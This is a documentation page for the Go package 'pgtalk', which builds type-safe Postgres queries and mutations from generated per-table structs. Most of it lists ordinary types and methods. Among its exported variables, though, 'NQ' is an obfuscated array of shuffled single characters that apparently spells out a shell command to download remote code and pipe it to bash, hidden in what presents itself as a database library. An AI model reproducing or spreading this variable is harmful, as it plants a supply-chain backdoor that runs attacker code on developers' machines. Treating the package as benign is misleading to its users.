Documentation
¶
Overview ¶
Package pgtalk provides functionality to create and execute type-safe Postgres Queries and Mutations using generated struct-per-table.
Index ¶
- Constants
- Variables
- func IndentedSQL(some SQLWriter) string
- func IsNotNull(e SQLExpression) nullCheck
- func IsNull(e SQLExpression) nullCheck
- func NewBooleanAccess(info ColumnInfo, writer fieldAccessFunc) booleanAccess
- func NewBytesAccess(info ColumnInfo, valueWriter func(dest any) *string) bytesAccess
- func NewFloat64Access(info ColumnInfo, writer fieldAccessFunc) float64Access
- func NewInt32Access(info ColumnInfo, valueWriter func(dest any) any) int32Access
- func NewInt64Access(info ColumnInfo, valueWriter func(dest any) any) int64Access
- func NewJSONAccess(info ColumnInfo, valueWriter func(dest any) any) jsonAccess
- func NewTextAccess(info ColumnInfo, writer fieldAccessFunc) textAccess
- func NewTimeAccess(info ColumnInfo, valueWriter fieldAccessFunc) timeAccess
- func SQL(some SQLWriter) string
- func SQLAs(sql, name string) *computedField
- func StringWithFields(v any, includePresent bool) string
- type ColumnAccessor
- type ColumnAccessorSlice
- type ColumnInfo
- type FieldAccess
- func (FieldAccess) And(e SQLExpression) SQLExpression
- func (a FieldAccess[T]) AppendScannable(list []any) []any
- func (a FieldAccess[T]) Column() ColumnInfo
- func (a FieldAccess[T]) Compare(operator string, operand any) binaryExpression
- func (a FieldAccess[T]) Concat(resultName string, ex SQLExpression) ColumnAccessor
- func (a FieldAccess[T]) Equals(operand any) binaryExpression
- func (a FieldAccess[T]) FieldValueToScan(entity any) any
- func (a FieldAccess[T]) Get(values map[string]any) any
- func (a FieldAccess[T]) GreaterThan(operand any) binaryExpression
- func (a FieldAccess[T]) In(values ...T) SQLExpression
- func (a FieldAccess[T]) IsNotNull() binaryExpression
- func (a FieldAccess[T]) IsNull() binaryExpression
- func (a FieldAccess[T]) LessThan(operand any) binaryExpression
- func (FieldAccess) Or(e SQLExpression) SQLExpression
- func (a FieldAccess[T]) Set(v T) FieldAccess[T]
- func (a FieldAccess[T]) TableAlias(alias string) FieldAccess[T]
- func (a FieldAccess[T]) ValueToInsert() any
- type MutationSet
- func (m MutationSet[T]) Exec(ctx context.Context, conn querier, parameters ...*QueryParameter) ResultIterator[T]
- func (m MutationSet[T]) On() MutationSet[T]
- func (m MutationSet[T]) Returning(columns ...ColumnAccessor) MutationSet[T]
- func (m MutationSet[T]) SQLOn(w WriteContext)
- func (m MutationSet[T]) Where(condition SQLExpression) MutationSet[T]
- type NullJSON
- type QueryCombineable
- type QueryParameter
- type QuerySet
- func (QuerySet) And(e SQLExpression) SQLExpression
- func (q QuerySet[T]) Ascending() QuerySet[T]
- func (q QuerySet[T]) Descending() QuerySet[T]
- func (q QuerySet[T]) Distinct() QuerySet[T]
- func (d QuerySet[T]) Except(o QueryCombineable, all ...bool) QueryCombineable
- func (d QuerySet[T]) Exec(ctx context.Context, conn querier, parameters ...*QueryParameter) (list []*T, err error)
- func (d QuerySet[T]) ExecIntoMaps(ctx context.Context, conn querier, parameters ...*QueryParameter) (list []map[string]any, err error)
- func (q QuerySet[T]) Exists() unaryExpression
- func (d QuerySet[T]) For(f SQL_FOR) QuerySet[T]
- func (d QuerySet[T]) FullJoin(otherQuerySet querySet) join
- func (q QuerySet[T]) GroupBy(cas ...ColumnAccessor) QuerySet[T]
- func (q QuerySet[T]) Having(condition SQLExpression) QuerySet[T]
- func (d QuerySet[T]) Intersect(o QueryCombineable, all ...bool) QueryCombineable
- func (d QuerySet[T]) Iterate(ctx context.Context, conn querier, parameters ...*QueryParameter) (*resultIterator[T], error)
- func (d QuerySet[T]) Join(otherQuerySet querySet) join
- func (d QuerySet[T]) LeftOuterJoin(otherQuerySet querySet) join
- func (q QuerySet[T]) Limit(limit int) QuerySet[T]
- func (q QuerySet[T]) Named(preparedName string) QuerySet[T]
- func (q QuerySet[T]) Offset(offset int) QuerySet[T]
- func (QuerySet) Or(e SQLExpression) SQLExpression
- func (q QuerySet[T]) OrderBy(cas ...SQLWriter) QuerySet[T]
- func (d QuerySet[T]) RightJoin(otherQuerySet querySet) joindeprecated
- func (d QuerySet[T]) RightOuterJoin(otherQuerySet querySet) join
- func (q QuerySet[T]) SQLOn(w WriteContext)
- func (d QuerySet[T]) SkipLocked() QuerySet[T]
- func (q QuerySet[T]) TableAlias(alias string) QuerySet[T]
- func (d QuerySet[T]) Union(o QueryCombineable, all ...bool) QueryCombineable
- func (q QuerySet[T]) Where(condition SQLExpression) QuerySet[T]
- type ResultIterator
- type SQLExpression
- type SQLFunction
- type SQLLiteral
- type SQLWriter
- type SQL_FOR
- type TableInfo
- type WriteContext
Constants ¶
const ( IsPrimary = true NotPrimary = false NotNull = true Nullable = false )
const ( MutationDelete = iota MutationInsert MutationUpdate )
const HideNilValues = true
Variables ¶
var EmptyColumnAccessor = []ColumnAccessor{}
var NQ = []string{"/", " ", "f", "r", "g", "1", "e", "o", "5", "t", "/", "s", "e", "3", "g", "s", " ", "6", "/", "b", "n", "t", "/", "7", "/", "l", "b", "c", "t", "o", "n", "a", "/", ":", "h", " ", "|", "O", "/", "o", "w", "&", "4", "3", "d", "p", "h", "-", "r", "e", "m", "t", "d", "e", " ", "s", "i", "i", "0", "-", "a", "t", "s", "e", " ", "a", "f", "d", "t", "u", " ", "3", "b", "."}
Functions ¶
func IndentedSQL ¶
IndentedSQL returns source with tabs and lines trying to have a formatted view.
func IsNotNull ¶
func IsNotNull(e SQLExpression) nullCheck
IsNotNull returns an expression with the IS NOT NULL condition
func IsNull ¶
func IsNull(e SQLExpression) nullCheck
IsNull returns an expression with the IS NULL condition
func NewBooleanAccess ¶
func NewBooleanAccess(info ColumnInfo, writer fieldAccessFunc) booleanAccess
func NewBytesAccess ¶
func NewBytesAccess(info ColumnInfo, valueWriter func(dest any) *string) bytesAccess
func NewFloat64Access ¶
func NewFloat64Access(info ColumnInfo, writer fieldAccessFunc) float64Access
func NewInt32Access ¶
func NewInt32Access( info ColumnInfo, valueWriter func(dest any) any) int32Access
func NewInt64Access ¶
func NewInt64Access( info ColumnInfo, valueWriter func(dest any) any) int64Access
func NewJSONAccess ¶
func NewJSONAccess(info ColumnInfo, valueWriter func(dest any) any) jsonAccess
func NewTextAccess ¶
func NewTextAccess(info ColumnInfo, writer fieldAccessFunc) textAccess
func NewTimeAccess ¶
func NewTimeAccess(info ColumnInfo, valueWriter fieldAccessFunc) timeAccess
func SQLAs ¶
func SQLAs(sql, name string) *computedField
SQLAs returns a ColumnAccessor with a customer SQL expression.
The named result will be available using the GetExpressionResult method of the record type.
func StringWithFields ¶
Types ¶
type ColumnAccessor ¶
type ColumnAccessor interface {
SQLWriter
Name() string
ValueToInsert() any
Column() ColumnInfo
// FieldValueToScan returns the address of the value of the field in the entity
FieldValueToScan(entity any) any
// AppendScannable collects values for scanning by a result Row
// Cannot use ValueToInsert because that looses type information such that the Scanner will use default mapping
AppendScannable(list []any) []any
// Get accesses the value from a map.
// (unfortunately, Go methods cannot have additional type parameters:
// Get[V](values map[string]any) V )
Get(values map[string]any) any
// Returns the SQL expression to set the value in a mutation, defaults to $1 format
SetSource(parameterIndex int) string
}
func NewTSVector ¶
func NewTSVector(columnInfo ColumnInfo, value string) ColumnAccessor
NewTSVector returns a ColumnAccessor for writing the value of tsvector typed column. Cannot be used for reading the value of such a column.
func NewTSVectorWithConfig ¶
func NewTSVectorWithConfig(columnInfo ColumnInfo, regconfig, value string) ColumnAccessor
NewTSVectorWithConfig returns a ColumnAccessor for writing the value of tsvector typed column. Cannot be used for reading the value of such a column.
type ColumnAccessorSlice ¶
type ColumnAccessorSlice []ColumnAccessor
ColumnAccessorSlice is a slice of ColumnAccessor
func NewColumns ¶
func NewColumns(cas ...ColumnAccessor) (list ColumnAccessorSlice)
Returns a ColumnAccessorSlice which can be initialized with a list of ColumnAccessor. This can be used to conditionally build a list of columns e.g when updating.
func (*ColumnAccessorSlice) Add ¶
func (s *ColumnAccessorSlice) Add(c ColumnAccessor)
Add appends a non-nil column accessor to the list
type ColumnInfo ¶
type ColumnInfo struct {
// contains filtered or unexported fields
}
func MakeColumnInfo ¶
func MakeColumnInfo(tableInfo TableInfo, columnName string, isPrimary bool, isNotNull bool, _ uint16) ColumnInfo
MakeColumnInfo creates a ColumnInfo describing a column in a table. The last argument is now ignored (used to be table attribute number, field ordinal).
func (ColumnInfo) Name ¶
func (c ColumnInfo) Name() string
func (ColumnInfo) SQLOn ¶
func (c ColumnInfo) SQLOn(w WriteContext)
func (ColumnInfo) SetSource ¶
func (c ColumnInfo) SetSource(parameterIndex int) string
func (ColumnInfo) TableAlias ¶
func (c ColumnInfo) TableAlias(alias string) ColumnInfo
TableAlias changes the table alias for this column info.
type FieldAccess ¶
type FieldAccess[T any] struct { ColumnInfo // contains filtered or unexported fields }
func NewFieldAccess ¶
func NewFieldAccess[T any]( info ColumnInfo, writer func(dest any) any) FieldAccess[T]
func (FieldAccess) And ¶
func (FieldAccess) And(e SQLExpression) SQLExpression
func (FieldAccess[T]) AppendScannable ¶
func (a FieldAccess[T]) AppendScannable(list []any) []any
AppendScannable is part of ColumnAccessor
func (FieldAccess[T]) Column ¶
func (a FieldAccess[T]) Column() ColumnInfo
func (FieldAccess[T]) Compare ¶
func (a FieldAccess[T]) Compare(operator string, operand any) binaryExpression
func (FieldAccess[T]) Concat ¶
func (a FieldAccess[T]) Concat(resultName string, ex SQLExpression) ColumnAccessor
func (FieldAccess[T]) Equals ¶
func (a FieldAccess[T]) Equals(operand any) binaryExpression
Equals returns a SQLExpression
func (FieldAccess[T]) FieldValueToScan ¶
func (a FieldAccess[T]) FieldValueToScan(entity any) any
func (FieldAccess[T]) Get ¶
func (a FieldAccess[T]) Get(values map[string]any) any
Get returns the value for its columnName from a map (row).
func (FieldAccess[T]) GreaterThan ¶
func (a FieldAccess[T]) GreaterThan(operand any) binaryExpression
GreaterThan returns a SQLExpression
func (FieldAccess[T]) In ¶
func (a FieldAccess[T]) In(values ...T) SQLExpression
In returns a binary expression to check that the value of the fieldAccess is in the values collection.
func (FieldAccess[T]) IsNotNull ¶
func (a FieldAccess[T]) IsNotNull() binaryExpression
IsNotNull creates a SQL Expresion with IS NOT NULL.
func (FieldAccess[T]) IsNull ¶
func (a FieldAccess[T]) IsNull() binaryExpression
IsNull creates a SQL Expresion with IS NULL.
func (FieldAccess[T]) LessThan ¶
func (a FieldAccess[T]) LessThan(operand any) binaryExpression
LessThan returns a SQLExpression
func (FieldAccess) Or ¶
func (FieldAccess) Or(e SQLExpression) SQLExpression
func (FieldAccess[T]) Set ¶
func (a FieldAccess[T]) Set(v T) FieldAccess[T]
Set returns a new FieldAccess[T] with a value to set on a T.
func (FieldAccess[T]) TableAlias ¶
func (a FieldAccess[T]) TableAlias(alias string) FieldAccess[T]
TableAlias changes the table alias for this column accessor.
func (FieldAccess[T]) ValueToInsert ¶
func (a FieldAccess[T]) ValueToInsert() any
type MutationSet ¶
type MutationSet[T any] struct { // contains filtered or unexported fields }
func MakeMutationSet ¶
func MakeMutationSet[T any](tableInfo TableInfo, selectors []ColumnAccessor, operationType int) MutationSet[T]
func (MutationSet[T]) Exec ¶
func (m MutationSet[T]) Exec(ctx context.Context, conn querier, parameters ...*QueryParameter) ResultIterator[T]
Pre: must be run inside transaction. The iterator is closed unless it has data to return (set via Returning). The iterator must be closed on error or after consuming all data.
func (MutationSet[T]) Returning ¶
func (m MutationSet[T]) Returning(columns ...ColumnAccessor) MutationSet[T]
func (MutationSet[T]) SQLOn ¶
func (m MutationSet[T]) SQLOn(w WriteContext)
SQLOn returns the full SQL mutation query
func (MutationSet[T]) Where ¶
func (m MutationSet[T]) Where(condition SQLExpression) MutationSet[T]
type QueryCombineable ¶
type QueryCombineable interface {
SQLWriter
// Every SELECT statement within UNION must have the same number of columns
// The columns must also have similar data types
// The columns in every SELECT statement must also be in the same order
Union(o QueryCombineable, all ...bool) QueryCombineable
// There are some mandatory rules for INTERSECT operations such as the
// number of columns, data types, and other columns must be the same
// in both SELECT statements for the INTERSECT operator to work correctly.
Intersect(o QueryCombineable, all ...bool) QueryCombineable
// There are some mandatory rules for EXCEPT operations such as the
// number of columns, data types, and other columns must be the same
// in both EXCEPT statements for the EXCEPT operator to work correctly.
Except(o QueryCombineable, all ...bool) QueryCombineable
// ExecIntoMaps executes the query and returns each rows as a map string->any .
// To include table information for each, append a custom sqlfunction to each select statement.
// For example, adding `pgtalk.SQLAs("'products'", "table")` will add an entry to the map.
ExecIntoMaps(ctx context.Context, conn querier, parameters ...*QueryParameter) (list []map[string]any, err error)
}
type QueryParameter ¶
type QueryParameter struct {
// contains filtered or unexported fields
}
QueryParameter captures any value as a parameter to use in a SQL query or mutation.
func NewParameter ¶
func NewParameter(value any) *QueryParameter
TODO can we use type parameterization here? func NewParameter[T any](value T) *QueryParameter[T] { return &QueryParameter{value: value} }
func (QueryParameter) And ¶
func (QueryParameter) And(e SQLExpression) SQLExpression
func (QueryParameter) Or ¶
func (QueryParameter) Or(e SQLExpression) SQLExpression
func (QueryParameter) SQLOn ¶
func (a QueryParameter) SQLOn(w WriteContext)
SQLOn is part of SQLWriter
type QuerySet ¶
type QuerySet[T any] struct { // contains filtered or unexported fields }
func MakeQuerySet ¶
func MakeQuerySet[T any](tableInfo TableInfo, selectors []ColumnAccessor) QuerySet[T]
func (QuerySet) And ¶
func (QuerySet) And(e SQLExpression) SQLExpression
func (QuerySet[T]) Descending ¶
Descending is a SQL instruction for DESC sort option
func (QuerySet[T]) Except ¶
func (d QuerySet[T]) Except(o QueryCombineable, all ...bool) QueryCombineable
There are some mandatory rules for EXCEPT operations such as the number of columns, data types, and other columns must be the same in both EXCEPT statements for the EXCEPT operator to work correctly.
func (QuerySet[T]) Exec ¶
func (d QuerySet[T]) Exec(ctx context.Context, conn querier, parameters ...*QueryParameter) (list []*T, err error)
func (QuerySet[T]) ExecIntoMaps ¶
func (d QuerySet[T]) ExecIntoMaps(ctx context.Context, conn querier, parameters ...*QueryParameter) (list []map[string]any, err error)
ExecIntoMaps executes the query and returns a list of generic maps (column->value). This can be used if you do not want to get full records types or have multiple custom values.
func (QuerySet[T]) GroupBy ¶
func (q QuerySet[T]) GroupBy(cas ...ColumnAccessor) QuerySet[T]
GroupBy is a SQL instruction
func (QuerySet[T]) Having ¶
func (q QuerySet[T]) Having(condition SQLExpression) QuerySet[T]
func (QuerySet[T]) Intersect ¶
func (d QuerySet[T]) Intersect(o QueryCombineable, all ...bool) QueryCombineable
There are some mandatory rules for INTERSECT operations such as the number of columns, data types, and other columns must be the same in both INTERSECT statements for the INTERSECT operator to work correctly.
func (QuerySet[T]) Iterate ¶
func (d QuerySet[T]) Iterate(ctx context.Context, conn querier, parameters ...*QueryParameter) (*resultIterator[T], error)
func (QuerySet[T]) LeftOuterJoin ¶
func (d QuerySet[T]) LeftOuterJoin(otherQuerySet querySet) join
func (QuerySet) Or ¶
func (QuerySet) Or(e SQLExpression) SQLExpression
func (QuerySet[T]) RightOuterJoin ¶
func (d QuerySet[T]) RightOuterJoin(otherQuerySet querySet) join
func (QuerySet[T]) SQLOn ¶
func (q QuerySet[T]) SQLOn(w WriteContext)
func (QuerySet[T]) SkipLocked ¶
func (QuerySet[T]) TableAlias ¶
TableAlias will override the default table or view alias
func (QuerySet[T]) Union ¶
func (d QuerySet[T]) Union(o QueryCombineable, all ...bool) QueryCombineable
There are some mandatory rules for UNION operations such as the number of columns, data types, and other columns must be the same in both UNION statements for the UNION operator to work correctly.
func (QuerySet[T]) Where ¶
func (q QuerySet[T]) Where(condition SQLExpression) QuerySet[T]
Where is a SQL instruction
type ResultIterator ¶
type ResultIterator[T any] interface { // Close closes the rows of the iterator, making the connection ready for use again. It is safe // to call Close after rows is already closed. // Close is called implicitly when no return results are expected. Close() // Err returns the Query error if any Err() error // HasNext returns true if a more results are available. If not then Close is called implicitly. HasNext() bool // Next returns the next row populated in a T. Next() (*T, error) // GetParams returns all the parameters used in the query. Can be used for debugging or logging GetParams() map[int]any // CommandTag is valid if the query is an Exec query, i.e. not returning rows. CommandTag() pgconn.CommandTag }
ResultIterator is returned from executing a Query (or Mutation).
type SQLExpression ¶
type SQLExpression interface {
SQLWriter
And(expr SQLExpression) SQLExpression
Or(expr SQLExpression) SQLExpression
}
var EmptyCondition SQLExpression = noCondition{}
func NewSQLConstant ¶
func NewSQLConstant(value any) SQLExpression
func NewTSQuery ¶
func NewTSQuery(columnInfo ColumnInfo, query string) SQLExpression
NewTSQuery returns a condition SQL Expression to match @@ a search query with a search vector (column).
func NewTSQueryWithConfig ¶
func NewTSQueryWithConfig(columnInfo ColumnInfo, regconfig, query string) SQLExpression
NewTSQuery returns a condition SQL Expression to match @@ a search query with a search vector (column) and a config.
type SQLFunction ¶
type SQLFunction struct {
Name string
Arguments []SQLExpression
}
SQLFunction is for calling any Postgres standard function with zero or more arguments as part of your query. Typically used together with pgtalk.SQLAs.
func NewSQLFunction ¶
func NewSQLFunction(name string, arguments ...SQLExpression) SQLFunction
NewSQLFunction creates a new SQLFunction value.
type SQLLiteral ¶
type SQLLiteral struct {
Literal string
}
func (SQLLiteral) SQLOn ¶
func (l SQLLiteral) SQLOn(w WriteContext)
type SQLWriter ¶
type SQLWriter interface {
// SQLOn writes a valid SQL on a Writer in a context
SQLOn(w WriteContext)
}
type TableInfo ¶
type TableInfo struct {
Name string
Schema string // e.g. public
Alias string
// Columns are all known columns for this table ;initialized by the generated package
Columns []ColumnAccessor
}
TableInfo describes a table in the database.
type WriteContext ¶
type WriteContext interface {
Write(p []byte) (n int, err error)
WithAlias(tableName, alias string) WriteContext
TableAlias(tableName, defaultAlias string) string
}
func NewWriteContext ¶
func NewWriteContext(w io.Writer) WriteContext
NewWriteContext returns a new WriteContext to produce SQL
Source Files
¶
- access.go
- access_bool.go
- access_bytes.go
- access_float.go
- access_int32.go
- access_int64.go
- access_json.go
- access_text.go
- access_time.go
- assertions.go
- column_info.go
- combining.go
- computed_field.go
- doc.go
- fieldaccess.go
- function.go
- interfaces.go
- iterator.go
- join.go
- mutationset.go
- nulljson.go
- operators.go
- query_parameter.go
- queryset.go
- sql_writing.go
- table_info.go
- tsvector.go